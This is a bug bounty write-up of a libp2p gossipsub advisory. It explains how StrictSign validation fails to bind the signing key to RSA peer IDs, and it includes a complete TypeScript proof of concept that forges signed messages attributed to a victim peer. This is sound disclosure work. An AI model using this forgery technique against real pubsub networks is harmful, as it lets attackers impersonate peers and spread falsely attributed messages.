# libp2p: Gossipsub StrictSign accepts attacker-signed messages as a victim RSA peer ID

Gossipsub StrictSign skipped binding msg.key to the claimed from peer ID for RSA peer IDs, letting attackers forge messages attributed to any victim RSA peer.

- Payout: Research
- Severity: high
- Program: libp2p gossipsub
- Found by: Alleysira
- Disclosed: 2026-09-17
- CVE: CVE-2026-86038
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-c3gv-825q-fvmp
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-c3gv-825q-fvmp
- Tags: area:devices domain:network domain:oss impact:integrity kind:research platform:ghsa sev:high tech:nodejs technique:incomplete-fix technique:source-review vuln:auth-bypass vuln:crypto

**Target:** gossipsub message validation (buildRawMessage/validateToRawMessage)
**Root cause:** When msg.key is present, the code only compares it to fromPeerId.publicKey, which is undefined for RSA peer IDs parsed from the wire since the key isn't inlined. The key-to-from binding check is skipped, so the signature is verified against the attacker-supplied key.
**Steps:**
1. Generate attacker Ed25519 key and victim RSA key; derive victim peer ID via peerIdFromPrivateKey.
2. Build RPC.Message with `from` = victim.toMultihash().bytes, arbitrary data, seqno, topic.
3. Sign `SignPrefix || RPC.Message.encode(msg)` with attacker key; set `msg.signature` and `msg.key = publicKeyToProtobuf(attackerKey.publicKey)`.
4. Call `validateToRawMessage(StrictSign, msg)`; it returns valid with `message.from` equal to victim and `message.key` equal to attacker key.
**How found:** Code review of validateToRawMessage: noticed the key comparison is guarded by `fromPeerId.publicKey !== undefined`, which is never true for RSA peer IDs since their public key isn't inlined in the peer ID, so the binding invariant is silently skipped.
**Exploitation:** Attacker crafts a gossipsub message claiming a victim RSA peer ID in `from`, signs with own key, and supplies own public key in `msg.key`. Validation passes, and the forged message is accepted and forwarded through the pubsub mesh as if authored by the victim.
**Escalation:** Forged messages propagate to peers via gossipsub forwarding, amplifying false origin attribution across the mesh.
**Insight:** When a validation path compares a supplied key against a parsed identity, check whether the identity type can carry the key at all; keyless peer ID formats (RSA multihash) silently bypass equality guards. The correct invariant is peerIdFromPublicKey(key).equals(from), not comparing to an optional inlined key.

## Proof of concept (copied exactly from the original report)

**TypeScript PoC forging message as victim RSA peer**

```
// TypeScript ESM PoC.
import { strict as assert } from 'node:assert'
import { generateKeyPair, publicKeyToProtobuf } from '@libp2p/crypto/keys'
import { StrictSign } from '@libp2p/gossipsub'
import { peerIdFromPrivateKey } from '@libp2p/peer-id'
import { concat as uint8ArrayConcat } from 'uint8arrays/concat'
import { fromString as uint8ArrayFromString } from 'uint8arrays/from-string'
import { RPC } from '../../packages/gossipsub/dist/src/message/rpc.js'
import { SignPrefix, validateToRawMessage } from '../../packages/gossipsub/dist/src/utils/buildRawMessage.js'

const label = 'gossipsub StrictSign RSA author spoof'

function seqno (n: bigint): Uint8Array {
  const out = new Uint8Array(8)
  new DataView(out.buffer).setBigUint64(0, n, false)
  return out
}

async function main (): Promise<void> {
  const attackerKey = await generateKeyPair('Ed25519')
  const victimRsaKey = await generateKeyPair('RSA', 512)
  const victim = peerIdFromPrivateKey(victimRsaKey)

  const msg: RPC.Message = {
    from: victim.toMultihash().bytes,
    data: uint8ArrayFromString('forged as victim RSA peer'),
    seqno: seqno(1n),
    topic: 'poc-topic',
    signature: undefined,
    key: undefined
  }

  // Sign the protobuf message that claims victim in `from`, using attacker's key.
  const bytes = uint8ArrayConcat([SignPrefix, RPC.Message.encode(msg)])
  msg.signature = await attackerKey.sign(bytes)
  msg.key = publicKeyToProtobuf(attackerKey.publicKey)

  const result = await validateToRawMessage(StrictSign, msg)

  if (!result.valid) {
    throw new Error(`expected forged message to validate, got ${result.error}`)
  }

  assert.equal(result.message.type, 'signed')
  assert.equal(result.message.from.equals(victim), true)
  assert.equal(result.message.key.equals(attackerKey.publicKey), true)

  console.log(`${label} reproduced`)
  console.log(`claimed victim RSA author: ${victim}`)
  console.log('signature verified with attacker-supplied key')
}

main().catch(err => {
  console.error(err)
  process.exitCode = 1
})
```

